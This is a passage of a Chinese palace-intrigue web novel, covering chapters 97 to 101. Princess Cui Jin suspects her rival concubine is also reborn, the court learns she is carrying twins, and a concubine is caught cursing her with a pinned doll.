梁溶月手指抓紧听雪手臂,整个人几乎缩成一团。 疯子!疯子! 崔锦疯了! 外头,萧临强行闭上眼睛片刻:“本王已重金请曲神医前去清河,为谢老太爷医治,谢长清……也已着人去找了。” 崔锦屈膝一礼:“多谢王爷。” 十足恭敬,挑不出丝毫僭越,但萧临看着她这副模样,却气不打一处来。 “你到底要闹到什么时候?”他深呼吸一口气,勉强冷静开口,“崔锦,本王知道你关心则乱,这两日的事不与你计较,你也该适可而止,别再闹得王府上下不宁,叫本王在前朝也心中难安。” 他以自己相劝,认真盯着崔锦的神色。 崔锦却垂下眸,声音平静:“妾身会管好府中上下,不叫王爷烦扰。” “你——” 油盐不进! 看着崔锦离开的背影,他气怒之余,心中却不由得泛起一丝疑惑。 崔锦不是这种胡搅蛮缠的人。 最近他是宠着梁溶月,可崔锦知晓这只是在暗示她低头罢了,若说她因此吃醋做出什么——他答应过相信她,便不会多疑,他也不信崔锦能仅因吃醋就不顾后果,打得梁溶月下不来床。 所以,她认定了梁溶月不放,会不会是真的知道了什么? 梁溶月纵然天真娇憨,可是人便会有阴暗面。 萧临多疑的心开始猜忌起了梁溶月。 “王爷!”听雪跌跌撞撞地扑来他面前,跪下哭着恳求,“求您救救侧妃吧,她昨日身上鞭痕遍布,过了一夜还没养得稍好些,又被打的皮开肉绽,再这样下去……会生生打死侧妃啊,她到底做错了什么,只因被王爷您宠爱,就要被王妃如此恨妒吗……” 萧临眼中本有怜惜,听完她的话却渐渐冷了下去:“你是指责王妃争风吃醋,才鞭打侧妃?” 听雪一愣。 便听萧临冷声开口:“王妃深爱本王不假,却绝不会因此做出损害本王利益之事!” 听到这话,听雪和里面的梁溶月心中都凉了下去。 萧临觉得崔锦不是因为争风吃醋而打她,那还能是因为什么? 还有,她在萧临心中的地位……竟只是利益纠葛吗? 萧临冷漠的余光扫过听雪,心中再次对梁溶月起疑。 他歇了进去看人的心思,只是侧头吩咐庆喜:“去调几队府卫来守着春熙院,不许任何人出入。” 无论如何,梁溶月都不能被崔锦打死。 调来侍卫,既防崔锦,也防梁溶月。 他大步离开。 身后传来听雪惊慌的声音:“侧妃,您怎么了?您快醒醒啊!大夫,侧妃晕了!” 萧临充耳不闻,走出春熙院后,才叫出暗一:“去,彻查此事,从本王听到观音庙的传言开始查。” “是!” …… 春熙院被府卫团团包围的事震惊了府里上下。 所有人都在猜测是梁溶月犯了事,竟能叫萧临调来府卫,显然这是动了大怒。 崔锦倒不甚在意,翌日她进春熙院依旧如入无人之境。 肚子里装着王府唯一的小主子,府卫们对上她甚至没有多少底气,连挨着衣裳边都不敢,离得一丈远。 她进一步,府卫们退一步,直到彻底进门。 等萧临得到消息再次赶来时,她已经回了正院。 即使萧临再气再无奈,也只能忍下来,竟是连夜给梁溶月挪走了,但崔锦早就防着他,派人盯着了,府里就这么大,她手握掌家权,想找到梁溶月也不要太容易。 这般大的动静也惊动了府中不少人,萧临被气得满腔怒火之余,还要给崔锦扫尾封口,不叫此事泄露出一丝一毫风声。 接连几次后,他忍气吞声忍得快疯了。 “听说王爷今日当众发怒,前院的人当差都当的战战兢兢。”如春试探着问崔锦,“王妃,这样真没事吗?” 崔锦摇了摇头。 每天见着梁溶月那张脸,她也膈应得很,但她更不想叫梁溶月和萧临好过。 “王妃,夫人们都到了。”如冬进来禀报。 崔锦点点头,搭着如春的手起身去前厅。 她昨夜叫人传话,恢复了正院的请安。 后院的人见萧临那边没反应,今日只能赶来正院。 崔锦坐在上首,慢悠悠喝着特制的药茶,将众人的神色尽收眼底——惊疑慌张怨愤等不必说,满屋子人也只有叶挽棠是真为她高兴。 “王妃今日气色不错,想必小世子定是个乖巧又强壮的孩子。”孟氏笑容满面。 秦氏连忙接话:“王妃福泽深厚,这还用你说?” 不少人你一言我一语的奉承着,只有林素面无血色,如坐针毡。 第九十七章 梁溶月也是重生的? 林素没想到自己刚投靠的梁侧妃竟如此不中用,没几日就倒了,还叫王爷都派兵守着她,显然是圈禁的意思,先前的宠爱就像是镜花水月一样不可靠! 更重要的是……崔锦竟起来了! 王爷依旧没来正院,可管家权却到了崔锦手上,这几日她处置府中下人,无论手段有多狠厉,王爷从未置喙过一句。 满府人都进不得的春熙院,只有崔锦能进,说梁侧妃被圈禁跟她没关系,谁信? 但也正因所有人都打听不出原因,才对崔锦的手段更加忌惮,林素亦然。 她还曾当面得罪辱骂过崔锦…… “林夫人怎么不说话?”叶挽棠微微挑眉,“说来你还是王妃表妹呢,你不为王妃高兴吗?” 林素掐起手掌,露出一抹勉强的笑容:“妾身自是为王妃高兴的。” 孟氏顿了一瞬,忽笑道:“我想着也是,王妃有名有实,又手握管家权,才是这王府真正的女主子呢。” 林素脸色微变,显然想到自己曾说过的话,当下简直恨不得掐死孟氏这个多嘴的贱人! 见崔锦笑而不语,她咬了咬牙,忽然跪下:“妾先前有眼无珠,冒犯了王妃,求王妃宽恕妾,妾日后一定谨言慎行,恭敬侍奉。” 梁侧妃已倒,不能再与崔锦对着干,否则吃亏的是她自己。 她甚至都不能再传信去崔府——萧临最近严查府中来往信件,消息传不出去不说,若叫崔府真知道了崔锦复宠,又岂会再支持她一个小小的夫人? 她垂下眸,藏住眼底的怨恨,死死掐着手掌赔礼告罪。 良久未被叫起。 崔锦喝完了药茶,才道:“你既知错,便每日来正院跪上一个时辰吧。” 林素不可置信地抬头。 正对上崔锦冷意十足的目光。 她闭了闭眼,冷笑一声,抬步走去外面跪下,里面崔锦的身影犹能看到,她牢牢盯着,眼神几乎快烧灼了崔锦。 今日之辱,她记下了! 一炷香时间后,众人陆续离开正院,又叫林素脸色难看了不少。 她跪了半个多时辰,膝盖已经开始泛疼。 这时她余光忽然瞥见一抹玄色衣摆,顿时心下一喜,立刻摇摇欲坠。 在听到周围的行礼声后,她迷茫地抬起头,正对上萧临的目光,眼睛立时就红了:“妾给王爷请安。” 妾? 萧临面露疑惑,愣了一下才想起来:“你是林家的女儿?” 林素脸色微白,强撑着点头:“妾刚来府中时给王爷请过安的,王爷事忙,想是忘记了。” 先前她虽搭上了梁溶月,可后者却不许她随意去春熙院,以免蹭宠,致使林素直到入府至今,也才见过萧临一面。 她这般容貌,竟未叫萧临留下任何印象。 她紧了紧手,小心着说道:“方才妾说错了话,叫王妃不高兴了,王妃便罚妾每日来正院罚跪。”她适时垂下眸,一脸强忍委屈的模样。 她知道自己什么样子最美。 萧临果然多看了她一眼,却道:“王妃有孕,你跪在这里惊扰她该当如何?” 林素刚愣了一下,就见庆喜笑眯眯道:“林夫人还请移步院外,继续跪着吧。” 她不可置信地看向萧临的背影。 里间,崔锦斜倚在软榻上。 萧临见她肚子愈发大了,这几日心里憋了再多的气也不敢朝她发了,声音反而还轻了几分:“不必多礼,快坐。” “谢王爷。”崔锦坐回软榻。 如春上了茶后便出去了,两人相对无言半晌,萧临忍不住开口:“你便没什么话想对本王说吗?” 崔锦声音温和:“王爷可直言,您想听什么,妾身便说什么。” 萧临怒从心起:“为了一个谢长清,你便非要与本王生分成这样?” 崔锦摇了摇头。 不止因为一个谢长清。 她更多难受于自己疏忽无能,遭了梁溶月的算计,忍不住动气时却被萧临阻止,此后还给梁溶月满府皆知的恩宠来刺她。 那日她动气,萧临也动了气,因此闹得不欢而散,不提谁对谁错,她也愿意揭过……但梁溶月不该赶尽杀绝,还刺激得外祖父病发。 因此,现在她很难将萧临看顺眼,也不想叫他痛快。 萧临顿了半晌,才道:“曲神医传了信来,说谢老太爷已醒,此后好生将养着便无碍。” 崔锦脸色终于松了不少,眼中浮起庆幸,话也真心许多:“多谢王爷。” 萧临点点头,转身离开前,忽地问:“谢长清遇刺,你怀疑过本王吗?” “王爷若想杀他,不会放他回清河。” 在京城的地界,有得是办法叫谢长清死的神不知鬼不觉,且崔锦还是信萧临的人品的,他既应允此事,便绝不会背后捅刀。 萧临眼神微动,虽神色未变,但出门的脚步轻快了不少。 外头,庆喜正在跟如冬聊天:“得知谢老太爷昏厥,王爷面上不显,心里可急坏了,立刻拨重金,派了精锐连夜请曲神医去清河……这不,谢老太爷刚醒,王爷的人便快马加鞭送回消息,王爷刚听完就急忙来正院安王妃的心了……” 萧临脚步微顿,冷扫了他一眼:“喜欢说话,本王可叫你说个够。” 庆喜忙告罪,闭上了嘴。 萧临看了里间一眼,心里有些不自在,叫崔锦知道这些,还不觉得他低了头? 他凉凉剜了庆喜一眼,抬步匆匆离开。 如冬笑着进门,安慰崔锦:“您这回可放心了?老太爷身体可好着呢!还有表公子……他吉人天相,也一定会没事的。” 崔锦点了点头。 谢长清不是无能之辈,那么多人连查多日都没查到他的下落,连尸首都没有……没有消息就是最好的消息了。 放下心后,她再次看起了卫期送来的信。 她总觉得有些不对。 昨日在春熙院,梁溶月有句话也叫她十分在意——“你的运气的确好,旺了王爷一把,逼死林昭,叫王爷免受她连累……也方便我做出了最正确的选择,但也仅止于此了,今日你胜我一筹,不过是仗着肚子,可能为王爷趋吉避凶的,只有我梁溶月。” 梁溶月的表情极为笃定,就像是有所倚仗一样。 崔锦细细思索着,极力将脑中的一切串联起来。 最后,她瞳孔骤缩,面露惊疑。 梁溶月也是重生的?! 第九十八章 胎动 顺着这个猜测,梁溶月甚至淮阴侯府以前的一些举动就能解释得通了。 按说淮阴侯那位受宠的贵妾本该在三年后才被捅破私通之事,可这一世却提前了这么多,且下手极其干净利落地解决了贵妾,叫淮阴侯夫人重新掌管内宅。 而淮阴侯世子更是从韬光养晦到锋芒毕露,直接一跃成为永隆帝面前的红人。 ——莫名其妙在翰林院待了一日,在晚间房梁忽断时救了掌院;莫名得知了工部李侍郎的隐秘把柄,叫李侍郎为他所用。 若说是前世记忆便说得通了。 崔锦眼眸微深。 若她没记错,前世梁溶月便是嫁去了清河,夫家与谢氏关系颇为紧密,或许她便是因此发现了谢长清的心思。 更重要的是,梁溶月的前世夫家,是大皇子的母家。 所以她能知道那么多大皇子的喜好习惯,只消淮阴侯世子模仿一二,便足够勾起永隆帝的回忆了。 想通了这一点,崔锦倒对梁溶月有些刮目相看了。 知道前世晋王胜出,却还敢毅然嫁来信王府,称得上一句决断入流。 这一世崔锦换嫁,早早解决了林昭这个未来会拖后腿的,又带来了崔谢两家的助力,还有李首辅和周大儒。 而晋王肉眼可见的劣势——崔锦能知道的一些把柄,梁溶月未必不知,所以她敢说为萧临趋吉避凶。 她看清了形势,也敢跳出前世的命运框架,毅然投注萧临。 可比沈之珩聪明多了。 崔锦倒不担心自己重生的事暴露,今生换嫁,在外人看来是崔儒月和沈之珩在主导,梁溶月怕是已经派人去探过这两人——以崔儒月的脑子,必然会将晋王势必会赢挂在嘴边,说不得还要蛐蛐几句萧临即将日薄西山,满府下狱。 再看沈之珩又投了晋王,是谁重生便很明显了。 崔锦忽然笑了笑。 她并不担心梁溶月的重生,虽然在意料之外,但现在她或许已经猜到她最大的底牌,应对起来只会更轻松。 “王妃,安胎药好了。”如春端来药,小心地递给她。 看着崔锦硕大的肚子,她都有些心惊胆战:“您这肚子……也实在太大了些,奴婢瞧着都担心。” 小主子们健康是好事,可若太大,届时生产受罪的便是崔锦了。 如春还是更心疼崔锦。 崔锦自己也无奈:“平日吃的也就比以前多了一点,这肚子却跟见风长似的。” 她已经一个多月没出门了,等过几日娴贵妃生辰时出席,恐怕又要叫人大吃一惊了。 萧临在这日后便又没踏足正院。 但不同于上回的独宠梁溶月赌气,他这回连后院都没进,一心扑在前朝,春熙院再闹,他也没再去过一次。 很快便到了娴贵妃生辰这日。 崔锦自从孕满六个月后,便被淑妃禁止进宫请安了,但娴贵妃的生辰,她这个做晚辈的不出席便是失礼了。 萧临这日一早就来了正院,不亲眼盯着,他不放心。 马车渐渐驶离王府后,后方的苏氏才现身。 看着那跟在后方的一个小厮,苏氏脸上渐渐露出笑容。 婢女也笑道:“这回我们帮了梁侧妃这么大忙,淮阴侯府要欠您一个大人情了。” “与我何干?”苏氏警告地看了她一眼,“是林夫人投了梁侧妃后却与她失联,担心侧妃出事,这才冒险通知了淮阴侯府。” 婢女忙点头:“对,是奴婢失言了。” 只要梁侧妃记得她们的人情就行。 想罢,她低声开口:“正院外面的树下也埋好东西了。” 苏氏眼神微缓。 崔锦手段厉害,有了张嬷嬷后更是将正院守得密不透风,寻常人压根儿连门都进不去,但不能进正院动手,还不能在正院外么? 崔锦日日出门散步的那条溪边,金桂飘香,可是个好地方呢。 …… 上马车后,两人一阵无言。 萧临捏了捏眉心,有些无力,主动挑起话头:“今日你多留心些,娴贵妃的主场,必要针对你我。” 崔锦温声应下。 萧临顿了顿,还是再三叮嘱:“若被为难,心里不痛快,不必忍让谁,拂袖便走也是使得的,得罪谁也不要紧。” 他到底还是将那日崔锦“母亲神思积郁,孩子或许会先天不足”的话听入了心。 崔锦难得挑了一下眉:“得罪圣上也不要紧吗?” 萧临顿了一下:“不要紧。” 父皇的好感没了,还可以再争取,但孩子只有一个,再说父皇年纪大,受些气也无碍,但孩子毕竟还小,不能还没出生就出差池。 崔锦眸光微动,低头抚着肚子:“若得罪了圣上,这胎生下来反而是个女儿,只怕要叫王爷得不偿失了。” 萧临眉头皱起:“女儿便不是本王亲生的了?” 他再想要儿子,也不至于对女儿视若无睹,他的血脉延续如此艰难,无论男女,能平安出生便已经是极难得的了,还管得了得不得罪谁? 崔锦闻言,眼神这才真正缓和下来,笑了一下。 萧临一顿,手试探性地覆上她肚子,没被拒绝,叫他心头忍不住跳了一下,浮起欢喜。 就在即将到皇宫时,他手下忽然被顶了一下。 萧临手臂一僵,瞬间低头看去,震惊到险些说不出话来:“方才、方才……动了?” 崔锦眼眸温柔地低头看去:“最近动得很是频繁。” 萧临手臂依旧僵硬,覆在崔锦肚子上的手连动都不敢动,但眼底却泛出奇异的光泽,细看还带着一丝触动与惊喜。 他小心地摸了摸,手便又被顶了顶。 这回他有所准备,感受也越发明显,但还是忍不住惊愕:“方才……是同时动了两下?” 崔锦面不改色:“应该是手脚都在动吧。” 萧临闻言,眼神越发柔和,虽然知道崔锦肚子里怀着他的骨肉,可在今日之前,他虽期待重视,却再没什么特殊的感觉,直到方才隔着肚子与孩子接触过,他才真切感受到了初为人父的喜悦与激动。 “等这孩子出生,必定是个健壮又顽皮的。”萧临欣喜不已,懊悔却排山倒海般涌上心头。 近日都有胎动,崔锦可以日日感受着,而他却仅因赌气,就错失了那么多与孩儿相处的机会…… “王爷,到了。”外头,庆喜的声音传来。 萧临依依不舍地又摸了摸崔锦的肚子,孩子却再没动过,手还被崔锦移开了。 从前竟从未发现庆喜的声音如此令人讨厌。 他有些失落地扶着崔锦下车。 庆喜低着头,忽然觉得头顶凉凉的。 第九十九章 信王妃腹中怀有双胎! 今日天气晴好,娴贵妃的生辰宴设在御花园。 晋王近日行事低调,娴贵妃自不会打自己儿子的脸,连生辰宴都拒绝大办,只请了些嫔妃和皇子公主们,算作家宴。 因为崔锦身子越发重了,信王府的马夫被萧临再三吩咐走慢些,最后竟是出门最早,来得最晚,只能告罪一声。 “无妨。”娴贵妃笑意吟吟,“信王妃有孕,是得小心着些。” 晋王妃坐在她下首,闻言看向崔锦,一时惊讶出声:“四弟妹怎得肚子这么大了,当初我怀曜哥儿时,这样大的肚子都得快临产了。” 萧临一愣。 他没注意过有孕的妇人,也分不清肚子多大就该临产,虽觉得崔锦肚子大的令人心惊,还以为是正常的。 晋王妃却想起先前宫中隐隐流传的崔锦肚子大得不正常的话,眼眸微闪:“四弟妹才六个月大吧?太医怎么说的?” 别是这肚子真有猫腻吧? 崔锦含笑回道:“太医说一切安好,只是这孩子格外能吃,我的补膳似乎都补去了孩子身上,这才显得肚子格外大些。” “还是叫些太医来瞧瞧吧。”晋王妃状似担忧,“这宫里的太医啊,保命为上,治人为下,难保肚子里藏着什么不愿吐露,平白耽误了四弟妹。” 萧临沉声开口:“先前三皇兄几乎请空了太医院为王妃诊脉,难道还不放心?” 晋王面容温和:“此一时,彼一时。” 晋王妃也笑道:“平日里就那两个太医轮番为四弟妹请脉,怕是早长成了一张嘴,还是多请几位来瞧瞧更安心些。” 她紧咬此事不放,因为萧临的拒绝更觉得这其中有问题了。 她倒不觉得崔锦有那个胆子偷人,敢混淆皇室血脉,她想得更大胆——借种。 萧临是个不能生的,这点她早看透了,怕是萧临自己心里也有数,可若叫永隆帝也意识到这点,储位之争便彻底与他无缘了。 人在绝望的时候,什么都是能做出来的。 若牺牲一个王妃,养个野种就能夺得皇位,别说萧临,晋王妃自己都觉得划算极了。 看崔锦这肚子大小,怕是早就怀了吧,日子都对不上。 虽不知先前在行宫时一群太医为何都没诊出来,但另叫个靠谱的大夫来诊脉不就是了? 见着几个亲近娴贵妃的嫔妃出言帮腔,她便准备开口再劝。 “皇上驾到——,淑妃娘娘到——” 众人忙起身行礼。 永隆帝含笑叫起:“朕在外头就听你们聊得热闹,聊什么呢?” 娴贵妃看着与永隆帝同行的淑妃,暗暗咬碎了一口银牙,面上依旧言笑晏晏:“老三家的见信王妃肚子异常大,心里担心,正张罗着要请太医瞧瞧呢。” 淑妃闻言看向崔锦,瞬间也被她的肚子吓了一跳,忙喊:“快坐,快坐下。” 萧临扶着崔锦坐下,忍不住说道:“近日胎动频繁,方才在马车上,这孩子手脚并用地同儿臣打招呼呢。” 这话放在这个场合多少有些不合礼数,但萧临心中激动,又是头一回当爹,恨不得昭告天下自己儿子胎动了。 永隆帝摇头失笑。 淑妃落座后,也笑道:“老四当初就是如此调皮,夜里都在臣妾肚子里动弹,扰的臣妾连觉都睡不安稳呢。” 萧临忽地一怔。 从崔锦的角度看过去,正看到他眼角的些许湿润,但转瞬即逝。 晋王妃不欲叫他们转移话题,目露担忧道:“只是四弟妹的肚子实在太大了些,远超寻常有孕六月的女子,正好妾身前些日子得了个好大夫,医术之精湛毫不逊色于太医,不如叫他来给四弟妹瞧瞧?” 这是她自己的人,就不信萧临还能搞出什么幺蛾子来! 永隆帝略微一顿。 他有些不喜晋王妃步步紧逼的态度,心中却被那句“远超寻常有孕六月的女子”搞得疑心渐起。 最终还是点了头,并叫了太医院杨院判一起来诊脉。 席间众人推杯换盏,不断为娴贵妃祝寿,看不出丝毫方才的气氛诡异之感,只是心里难免想看好戏的多些。 不多时,那大夫先到一步。 他行礼后就去为崔锦诊脉。 崔锦含笑配合,不一会儿就见这大夫眼底浮起惊疑与震惊,她声音愈发温和:“如何,可有问题?” “这、这……”大夫擦了擦额头的冷汗。 他不是个蠢货,自然知道晋王妃的意思,可皇宫禁内,即便他想开口诬陷,杨院判可都守在一边呢,可若说实话……回了晋王府他还能有好日子过? 他举棋不定,左右为难,晋王妃却误会了,眼神微闪,佯装担忧地问:“怎么不说话?这里都是自己人,你大可直言。” 大夫使劲儿给她使眼色,却反被晋王妃略有不耐地催促。 萧临心里一个咯噔,生怕崔锦身子出问题,忙叫杨院判快来诊脉。 淑妃也蹙起眉紧紧盯着这边。 永隆帝扫视一眼,皱眉开口:“说不得?” 帝王威压覆盖下来,叫大夫面色顿时发白,见杨院判已经在给崔锦诊脉,他闭了闭眼,跪下道:“草民恭喜皇上,恭喜淑妃娘娘,信王妃腹中怀有双胎!” 此话一出,满座皆惊。 萧临直接傻了,不可置信地看着崔锦的肚子,淑妃脸上几乎瞬间露出狂喜之色。 永隆帝倒是稳得住,只是身子微微前倾,紧紧盯着杨院判:“此言可真?” 杨院判收回手,拱手道:“回皇上,信王妃的脉象的确是双胎之象。” 他的医术毋庸置疑,开口定论后也由不得众人不信,气氛顿时安静下来,几乎能听到呼吸声。 京城已有十三年未出双胎之子,皇室最早的双胎还得追溯到太祖时期……如此难得珍贵的双胎,却被信王夫妻得了? 第一百章 淑妃晋位 殿内一阵静默后,不相干的人只有震惊,可晋王夫妻与娴贵妃脸色就相当精彩了。 双胎? 萧临怎会如此好命?! 淑妃得意地瞥过他们,勉力忍住狂喜,起身屈膝:“臣妾恭喜皇上,即将喜得双胎皇孙。” 永隆帝心中震惊之余,朗声大笑:“该是同喜才是,这也是你的孙儿……赏!今日通通有赏!” 众人心思各异的谢恩,面上俱都带着喜悦的笑容。 皇后含笑开口:“当年太祖时贤妃诞下龙凤双胎,天降异象,呈祥和之气,可见这双胎是吉兆啊。” “更是昭示皇兄功绩可垂万古。”燕山长公主掩唇轻笑,“太祖建国拓土,予大周百姓安居乐业,功绩盖千秋,故上天赐下龙凤双胎以彰功德,今双胎再现,可见皇兄之圣明可比先祖,亦感天道。” 这话说得实在有水平。 众人纷纷起身,齐道:“皇上圣明,功盖千秋——” 永隆帝摆手叫他们坐,谦虚道不敢与太祖比肩,可脸上的笑容却分明极了。 萧临心中激动,瞬间便想起方才在马车上的一幕:“莫非那时是两个孩儿一起在动?” 崔锦笑容温柔:“或许是吧。” 萧临眼神极亮,很想再摸摸她的肚子,却碍于在人前,不好失了规矩,只是眼神却止不住地瞄着崔锦的肚子。 他已经做好了这个孩子是自己此生唯一孩儿的准备,本就珍视十足,未想上苍怜悯,竟赐给他双胎孩儿。 若能儿女双全…… 他连呼吸都灼热了几分。 “还不将信王面前的油腻菜式都撤下去?”淑妃吩咐着,“都换成适宜信王妃食用的。” 她生怕萧临面前的菜影响了崔锦的胃口。 崔锦本就因有孕而在她心中直线上升的地位,因为双胎又加重了几分,萧临更是只有一边凉快的份儿。 若非这里还有永隆帝,她都想把所有人的菜都换成崔锦爱吃的,以免坏了她孙子孙女的好心情。 萧临也没有不满,反而跟着点头,为崔锦细心布菜,脸上的笑容看得晋王十分想杀人。 永隆帝笑看着淑妃,声音欣慰:“到底还是你细心些,近日来也协理皇后将后宫管得极好,实在辛苦了。” 淑妃笑容柔和:“皇上将宫务交给臣妾,这便是臣妾分内之事,再者说若论辛苦,又怎敌皇上兢兢业业处理国事来得辛苦?” 这种场面话却叫她说得十分真心,永隆帝摇头失笑之余,心中也颇多感触:“有功,便该赏。” 淑妃心中一动。 娴贵妃想到什么,脸色微变。 下一瞬,便听永隆帝含笑的声音响起:“淑妃勤勉侍上,育子有方,当得贵妃之位。” 淑妃面露惊喜,一双含情眼脉脉看向永隆帝,忙屈膝谢恩。 “不必谦虚,这是你应得的奖赏。”永隆帝抬手叫起,笑容更深了几分。 谁都看得出淑妃今日晋位是因崔锦腹中的双胎,一句“育子有方”更是令人深想。 娴贵妃脸上的笑容僵硬的可以,今日本是她生辰之日,却被淑妃这个贱人占尽风头,还喧宾夺主的蛊惑了皇上为她晋位…… 还有那对双胎! 她也配?! 娴贵妃精心养护的指甲直直掐进手心,瞬间便泛出屡屡血意。 晋王妃抬眸看了眼她,眉头不自觉皱起,连笑容都挂不住了,尤其感受到身上落来的各种微妙眼神,更是恨不得打死方才开口的自己。 一番心机全为萧临夫妻做了嫁衣,叫他们出尽风头,还致使淑妃晋位,间接毁了娴贵妃的生辰宴。 萧临……他们夫妻可真是好谋算啊,故意装作有难言之隐的样子骗她上套,叫她亲口给他们的风光递上台阶! 想到这里,晋王妃呼吸几乎不稳,置于桌下的手却忽地被握住。 她微怔,转头看向晋王。 晋王依旧笑容温和,分开她攥紧的双手,递上筷子:“这蒸鱼不错,你尝尝。” 晋王妃脸色缓和了些,点了点头。 对面,崔锦余光扫过他们,唇角含笑,低头看向自己肚子的眼神更是温柔极了。 只瞧淑贵妃和萧临异常惊喜狂热的反应,便知今日来对了。 她的孩儿,本就是福星。 “对了,今日怎得未见梁侧妃?”娴贵妃问道,“本宫的生辰宴算是家宴,该叫她一同来热闹热闹才是。” 萧临脸色不变:“梁侧妃前些日子染了风寒,为免惊扰到王妃,她自请封院,今日得知贵妃娘娘生辰,也已备好了生辰礼给您,望您莫要见怪。” 娴贵妃还没说话,永隆帝就点头赞同:“风寒可大可小,但有孕之人难免要多照顾着些,不可染病,老四你做得不错。” 萧临笑着应了。 别看永隆帝当下未说什么奖赏崔锦的话,但他心中对崔锦腹中双胎的看重半点不少,在他看来,梁溶月自知染病请求封院是应该的,否则一旦伤及崔锦母子,她这条命都不够赔他的双胎孙儿。 娴贵妃手下几乎绞碎了帕子,只能恨恨扫过崔锦的肚子,眼中倏而一厉。 生辰宴结束后,崔锦本还要随淑贵妃去钟粹宫稍坐,却被后者劝住:“你身子重,不可过于劳累,今日费的神已经够多了,快回去歇着吧,老四你好生照顾。” 淑妃脸上的笑容就没落下来过,现在看崔锦当真是越看越顺眼。 她的位份都多少年都没动过了,偏偏来了这对双胎孙儿,未出生竟就能帮着祖母风光晋位,等他们出生,还不知要如何旺他们呢。 萧临自是满口应下,小心地扶着崔锦离开。 马车上,萧临坐在崔锦身边,满眼欢喜:“他们又动了,这是喜欢本王这个父亲吗?当真乖巧,等出生必比旁人家的孩子都要机灵讨喜。” 他的容貌不算差,崔锦更可称绝色,他们的孩儿结合他们两人的优点,不知要漂亮到什么地步。 一想到不到四个月后就会有一对玉雪可爱的儿女叫他父王,他只觉胸腔都被填满了一样,暖的惊人。 即使崔锦对他态度依旧颇为冷淡,现在也无法打散他的好心情了。 回府后,管家上前禀报:“王爷,淮阴侯世子求见您与王妃,此时正在前厅候着。” 萧临皱起眉,求见他也就罢了,求见崔锦? “王妃身子重,不见。”他不假思索地拒绝。 淮阴侯府对崔锦就算没什么恶感,也绝不会存着多少善意,更何况还有梁溶月…… 崔锦闻言,也并无异议。 如春扶着她回后院,只是没走多远,忽然看到湖边站着一蓝衣身影,似乎是听到脚步声,他回头看来。 崔锦眸光微动。 “微臣见过王妃。”淮阴侯世子遥遥行礼。 正当他踱步走来时,树上忽然冲下一只苍鹰,直直冲着崔锦攻击而来。 第一百零一章 怎么好像失宠的是王爷? 如夏脸色一变,立刻挡去崔锦身前,袖中飞镖脱落在手。 但还没等她动手,那苍鹰忽地惨叫一声,被一块石子打落。 淮阴侯世子快步上前捉起苍鹰,手被又抓又咬,顷刻间便泛起血痕,瞧着颇有些触目惊心。 没多久,萧临匆匆赶来。 “没事吧?”他着急地打量崔锦,见她没事才放下心。 淮阴侯世子眼神微闪,拱手开口:“王爷放心,微臣已将苍鹰活捉,王妃无碍。” 萧临低头看向他小厮手中的苍鹰,眼神冰冷:“王府重地,为何会有此凶禽出没?侍卫都是死的么!” 侍卫首领匆匆赶来,却只能低头告罪,并认命领罚。 崔锦看向淮阴侯世子,语气微深:“我身边的婢女武艺高强,本可直杀凶禽,不想世子先快一步,竟叫你在王府受此重伤。” 淮阴侯世子忙告罪:“方才微臣看到凶禽,心下担忧王妃与小世子,顾不得多想便出手了,您不必在意此事,这本就是为人臣下的本分罢了。” “不必推辞,本王是该重礼谢过你。”萧临声音沉着。 淮阴侯世子有些惶恐,忙拱手:“不敢受王爷厚赏,微臣今日前来拜见王爷,也想给侧妃请个安,只求王爷给个恩典,微臣便满足了。” 崔锦眼神微冷。 如此明显的把戏,真当所有人都是傻子不成? 淮阴侯世子能韬光养晦多年,不会是这种莽撞之人,那就只有一个解释——他是故意如此,以表自己,甚至淮阴侯府的不满。 还白套了她一个“救命之恩”。 崔锦心里膈应极了。 “侧妃风寒未愈,不见人。”萧临语气听不出丝毫情绪,眼底却冷得吓人。 淮阴侯世子眉头微皱:“微臣可远远瞧——” “本王还有公务在身,无暇招待世子。”萧临打断他的话,侧头吩咐,“管家,送客。” 淮阴侯世子脸色难看一瞬。 自他在御前得脸后,便从未有人敢如此对他不客气的说话,萧临对他更是从来礼待,今日如此无礼,难不成是打量他淮阴侯府已经上了信王府的船,不愿再演了? 否则又怎敢因为一个贱人就如此对她妹妹? 他眼底暗色闪过,面上依旧恭敬:“微臣告退。” 他离开后,崔锦道:“王府有人传消息,如春去查查吧。” “是。” 萧临看着她,面色微缓,声音轻柔道:“此事不必你费心,本王处理即可,你快回去歇着,别累到了。” 他语气里的关心几乎快溢出来,直叫周围下人们面面相觑,心中惊疑。 王妃失宠几乎是板上钉钉的事了——就算有管家权,手段厉害,斗倒了梁侧妃,可王爷不来正院就是不来。 他们虽不敢再见风使舵,但心中的确认为正院的宠爱要没了。 可今日看王爷王妃这般相处……怎么好像失宠的是王爷? 崔锦的背影渐渐远去,下人们交换着眼神,颇含深意。 …… 娴贵妃的生辰宴虽是家宴,但参宴的人也不算少,崔锦腹中怀有双胎的消息很快就传了出去。 听到这个消息的人俱都如宴会上的众人一般,第一反应便是萧临为何如此好命。 生为永隆帝第四子,上头有天资卓绝的皇长兄,还有贵妃之子的晋王在御前得宠,下有讨喜的弟弟们分圣宠,甚至当初淑妃生他时只是昭仪位份。 但也正因此,萧临刚满周岁就能被抱去娴贵妃膝下抚养,夺得永隆帝不少关注,待到长成,又文韬武略俱全,上战场五年就博得赫赫军功,与势力深厚的晋王打起擂台。 即便独宠林昭那两年也不过是叫他稍稍处于下风而已。 好不容易有了个子嗣艰难的困局,甚至影响到了夺嫡之争,却转眼又被老天爷送来双胎。 真真是……天生好命啊。 外头的人感叹连连,而信王府后院就单纯是羡慕嫉妒了。 尤其是盼着崔锦栽跟头的林素,眼睁睁看着萧临每日雷打不动地往正院跑,眼睁睁看着崔锦肚子越来越大,越来越受宠。 “贱人!去死!”林素眼神狠厉,手里拿着一个小布娃娃,不断抽针狠狠扎去娃娃的小腹,语气阴沉怨毒。 忽地,外头传来嘈杂声。 林素一愣,下一瞬就见门被踹开,庆喜踱步走进来。 她眼神一慌,忙把手里的东西往被子里藏。 “我好歹是王爷的夫人,庆喜公公这般无礼闯入,实在有失规矩!”她色厉内荏,语气又不自觉地发软。 她不敢真得罪萧临身边的人。 庆喜扯了扯唇:“王爷有令,请林夫人去前院一躺。” 林素正心虚,也没再回嘴,站起身就准备随他离开。 未料庆喜却吩咐:“没见林夫人床还乱着?一屋子奴婢,这点眼力见都没有?” 林素脸色骤变:“别动——” 但一个嬷嬷已经殷勤地上前铺床,疑惑地掏出一个小布娃娃。 嬷嬷看着上面写着的生辰八字,脸色顿时惨白,吓得声音颤抖:“这、这好像是王妃的生辰……” 